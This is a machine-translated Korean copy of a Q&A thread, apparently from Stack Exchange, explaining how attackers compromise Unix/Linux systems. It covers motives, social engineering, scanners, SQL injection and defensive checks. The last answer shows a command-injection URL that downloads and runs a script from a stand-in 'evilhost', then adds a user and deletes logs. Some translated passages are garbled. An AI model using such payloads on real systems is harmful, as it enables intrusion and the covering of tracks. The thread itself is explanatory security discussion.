사람들이 정확히 유닉스 / 리눅스 시스템을 어떻게 "크랙"합니까?


13

크래커 나 그와 비슷한 사람이되기를 바라지는 않지만 프로세스를 파악하려고합니다 (프로그래밍 관점에서 더).

크래커의 주요 목표는 그가 작성한 소프트웨어 나 스크립트를 설치하기 위해 루트 액세스 권한을 얻는 것입니다. 또는 어쩌면 자신의 커널 모듈 설치 (어떤 이유에서나 악의적 인 사람) 어떻게 이것을 정확히합니까?

사람들이 악용 여부를 확인하기 위해 스크립트를 사용한다는 것을 알고 있습니다. 그러나 어떻게되는지 알지 못하며, 일단 그들이 찾은 내용을 정확히 알지 못합니까? 알려진 악용에 대한 버전을 확인하고 있습니까?

나는이 모든 것이 매우 새롭다는 것을 알고 있습니다. 그러나 나는 리눅스 / 유닉스 시스템이 매우 안전해야한다는 것을 알고 있기 때문에 어떻게 작동하는지에 대한 아이디어를 얻으려고 노력하지만 루트 액세스 권한을 얻는 방법에 대해 누군가가 어떻게 생각하는지 알아 내려고 노력하고 있습니다.

답변:


14

시스템의 보안을 손상시키려는 수많은 이유가 있습니다. 광범위한 스트로크에서 :

  • 시스템 리소스를 사용하려면 (예 : 스팸 발송, 트래픽 중계)
  • 시스템에 대한 정보를 수집합니다 (예 : 전자 상거래 사이트에서 고객 데이터 가져 오기).
  • 시스템에 대한 정보를 변경하려면 (예 : 웹 사이트 손상, 잘못된 정보 심기, 정보 제거)

때때로 이러한 작업은 루트 액세스가 필요합니다. 예를 들어, 사용자 입력을 제대로 위생 처리하지 않는 사이트에 잘못된 검색 쿼리를 입력하면 사용자 이름 / 암호, 전자 메일 주소 등과 같은 사이트 데이터베이스의 정보가 표시 될 수 있습니다.

많은 컴퓨터 범죄자들은 ​​단지 "스크립트 아동"입니다. 즉, 실제로 시스템 보안을 이해하지 못하고 코딩조차 할 수는 없지만 다른 사람이 작성한 악용을 실행할 수 있습니다. 이들은 적응할 능력이 없기 때문에 대개 쉽게 방어 할 수 있습니다. 알려진 취약점을 악용하는 것으로 제한됩니다. (단, 손상된 컴퓨터의 큰 그룹 인 봇넷을 활용하여 DDoS 공격의 위험을 초래할 수 있습니다.)

숙련 된 공격자의 경우 프로세스는 다음과 같습니다.

  1. 목표가 무엇인지, 그리고 목표가 무엇인지 파악하십시오. 보안 (유지 또는 손상)은 위험 / 보상 계산입니다. 더 위험하고 비용이 많이 들수록 공격 할 가치가있는 보상이 더 매력적일 것입니다.

  2. 예를 들어 스팸을 보내려 는 경우 메일 서버를 공격 할 있지만 목표가 무엇이든 영향을 미치는 모든 이동 부분을 고려하십시오. 대상의 네트 연결을 사용해야합니다. 사용자 데이터를 원할 경우 데이터베이스 서버, 액세스 할 수있는 웹앱 및 웹 서버,이를 백업하는 시스템 등을 살펴보기 시작합니다.

    인적 요소를 할인 하지 마십시오 . 인간 행동을 보호하는 것보다 컴퓨터 시스템을 보호하는 것이 훨씬 쉽습니다. 다른 사람이하지 말아야 할 정보를 공개하거나하지 말아야 할 코드를 실행하는 것은 쉽고 효과적입니다. 대학에서 나는 공개 복장을 입히고 음란 한 부사장을 만나서 우버 보안 회사 네트워크에 침입하는 친구와의 내기에서 승리했습니다. 내 친구의 기술 전문 지식이 훨씬 뛰어 났지만 17yo의 힘을 능가하는 것은 없습니다 짧은 치마에 남녀 공학!

    가슴이 부족하면 무의미한 게임이나 바보가 실제로 무엇을하고 있는지 고려하지 않고 재미있게 다운로드 할 수있는 게임을 제공하는 것을 고려하십시오.

  3. 식별 한 각 부분을보고, 수행 할 수있는 작업과 원하는 것을 수행하기 위해 어떻게 조정할 수 있는지 고려하십시오. 헬프 데스크는 발신자를 제대로 식별하지 않고 사용자의 암호를 자주 재설정하고 혼란 스러울 것입니다. 다른 사람의 암호를 얻으십시오. 웹 응용 프로그램이 검색 상자에 넣은 내용을 검사하여 실행중인 기능에 충실하기 전에 코드가 아닌지 확인하지 못할 수 있습니다. 보안 침해는 일반적으로 의도하지 않은 방식으로 작동하도록 의도적으로 노출 된 것으로 시작됩니다.


3
읽은 후에도 여전히 음란 한 부통령이 평범한 대화에서 어떤 정보를 제공 할 수 있는지 궁금합니다.
저스틴 유채과 야채

1
@justin : 나는 $ friend re : 학교 프로젝트를 보러 갔다고 말했지만 사무실에 없었다. VP가 컴퓨터 시스템에 대한 사소한 것들을 보여 주도록했고, 그가 비밀번호를 입력하는 것을 관찰하기 위해 나를 쳐다 보면서 너무 산만 해졌습니다. 그는 내가 베팅에서 승리하기 위해 접근해야했던 드라이브에 합법적으로 액세스 할 수있었습니다.
HedgeMage

1
나는 사회 공학이 힙 오버플로보다 훨씬 쉽다는 것에 완전히 동의한다. 이 archive.cert.uni-stuttgart.de/isn/2006/01/msg00055.html
Rohan Monga

"가슴이 없으면 무의미한 게임이나 무언가를 제공하는 것을 고려하십시오." 둘 다 같은 범주의 효과에 넣었습니까? :)
Roopesh Shenoy

2
"무의미한 게임이나 바보들이 재미있게 다운로드 할 수있는 무언가를 제공하는 것을 고려하십시오 ..."-Ahh, Farmville과 Evony의 아이디어입니다.
Shadur

4

가장 큰 요소는 공격자가 가지는 액세스 유형입니다. 그들이 물리적으로 접근 할 수 있다면, 당신은 망친 것입니다. 원격 액세스에만 관심이있는 경우 실행중인 항목에 따라 다릅니다. 좋은 구성이 전부입니다. 표준 Linux 서버는 아마도 ftp, ssh, http, https 및 mysql을 실행하고있을 것입니다. SSH는 안전하지만 루트 로그인을 허용하지 않으며 모든 계정에서 올바른 비밀번호를 입력해야합니다. FTP가 맞았거나 누락되었습니다. VSFTP가 있고 사용자를 chroot하면 매우 안전합니다. 다른 여러 버전에는 알려진 취약점이 있습니다. HTTP는 아마도 가장 취약한 영역 일 것입니다. 여기서 가장 큰 관심사는 시스템에서 파일을 실행하거나 파일을 시스템에 업로드하는 것입니다. PHP5로 웹 사이트를 완성하면 SQL 삽입이 매우 어렵습니다. 보안 학생 그룹과 본인은 비위생 PHP5 웹 사이트에서 몇 주 동안 SQL 주입을 시도했지만 실패했습니다. MySQL에서는 루트가 아닌 사용자를 사용하고 Apache 서버에서만 로그인하도록 제한하십시오.

웹 사이트 취약점을 테스트하기위한 몇 가지 Firefox 플러그인이 있습니다 : 내게 액세스, xss me 및 sql 주입

보안을 유지하기 위해 항상 경쟁에서해야 할 몇 가지 큰 일 :

  • netstat -열린 포트 및 연결을 확인하십시오.
  • w -로그인 한 사람, 시간
  • 로그인 로그를 확인하십시오.
  • 실행 된 명령에 대한 bash 기록
  • ps -명령 실행
  • /etc/passwd 추가 사용자
  • /etc/sudoers sudo 액세스를 위해.

일반적으로 액세스 권한을 얻은 후 공격자는 루트 권한을 얻으려고합니다. 현재 일반 사용자가 루트 권한을 얻을 수있는 몇 가지 권한 에스컬레이션 취약점이 있습니다. 그런 다음 사용자를 추가하고 백도어를 열어 나중에 액세스 할 수 있도록 열기를 원합니다.

우리 학교의 사이버 방어 웹 사이트입니다. https://thislink.doesntexist.org/ 를 둘러보고 질문 하십시오.


2

시스템의 보안은 관리자의 기술에 달려 있으므로 "Linux / Unix 시스템은 매우 안전해야합니다"라고 말하는 것은 잘못입니다. :)

이제 해킹에 대해 알아 보겠습니다 . 악용 될 대상을 찾는 Nessus 와 같은 " 취약점 스캐너 " 라는 도구 가 있습니다. 임의의 파일을 임의의 위치에 업로드 할 수 있도록 잘못 구성된 Apache 서버와 같이 복잡한 시스템에서 잘못 될 수있는 수천 가지가 있습니다. 데이터베이스에 액세스하거나 "비밀번호 분실"기능을 통해 비밀번호를 복원 할 수있는 이메일 계정과 같은 추가 공격을위한 디딤돌 역할을 할 수 있습니다.

때로는 해킹이 접근하여 악한 일을하는 경우가 있습니다. 때때로 사람들은 재미를 위해 그것을합니다.

그리고 여기 최근에 일어난 유명한 해킹 이야기 가 있습니다. 보안을보고있는 사람이라면 누구나 설명 할 수있을 것입니다. 익스플로잇 요약을 인용하려면 :

SQL 주입 결함 및 안전하지 않은 비밀번호가있는 웹 애플리케이션. 잘못 선택된 비밀번호. 재사용 된 비밀번호. 비밀번호 기반 인증을 허용 한 서버 패치되지 않은 시스템. 그리고 요청을 한 사람이 무언가를 깨달았을 때조차도 전자 메일을 통해 자격 증명을 전달하는 놀라운 의지.


1

무한대에 가까운 공격 벡터가 너무 많습니다. 개념적으로 가장 간단한 것 중 하나는 프로그램을 공개적으로 사용 가능하게하고 실제로 수행하는 것 이외의 일을하는 것입니다. sudo처음에 사용자에게 친숙한 지침을 제공하고 세계가 붐 을 이루는 것을 지켜보십시오. 폐쇄 형 소스 프로그램에서는 매일 발생 합니다 . 예를 들어 Sony CD 와 같이 한 사람이 미리 작업 내용을 검사 할 수 없기 때문 입니다.

특수 문자열을 원격 호스트로 보내려고 할 수도 있습니다. 높은 수준의 예를 들어, 일부 소프트웨어가 실행중인 웹 서버가 있고 해당 소프트웨어 이스케이프 처리를하지 않으면 URL의 일부를 명령으로 실행 한다고 가정합니다. 와 같은 것을 보내십시오 http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. 디코딩되면 검색 문자열이됩니다 . 이것이 실행되면 script.sh는 웹 서버 사용자와 동일한 액세스 권한으로 실행되어 시스템에서 모든 작업을 수행합니다. 때때로 사람들은 이것이 "편의"의 근본으로 두도록하는데,이 경우 게으름 및 / 또는 우둔의 동의어입니다. 루트로 실행되지 않더라도 해당 스크립트는 설치된 소프트웨어의 다른 구멍에 대해 수천 번의 테스트를 실행하고 발견 된 경우 다른 명령을 실행할 수 있습니다. 그 마지막 명령은 예를 들어foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.logSSH 액세스를 확보하고 침입 흔적을 제거합니다.

[명령은 분명히 단순화되었고 어쩌면 작동하지 않을 것입니다. YMMV]

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.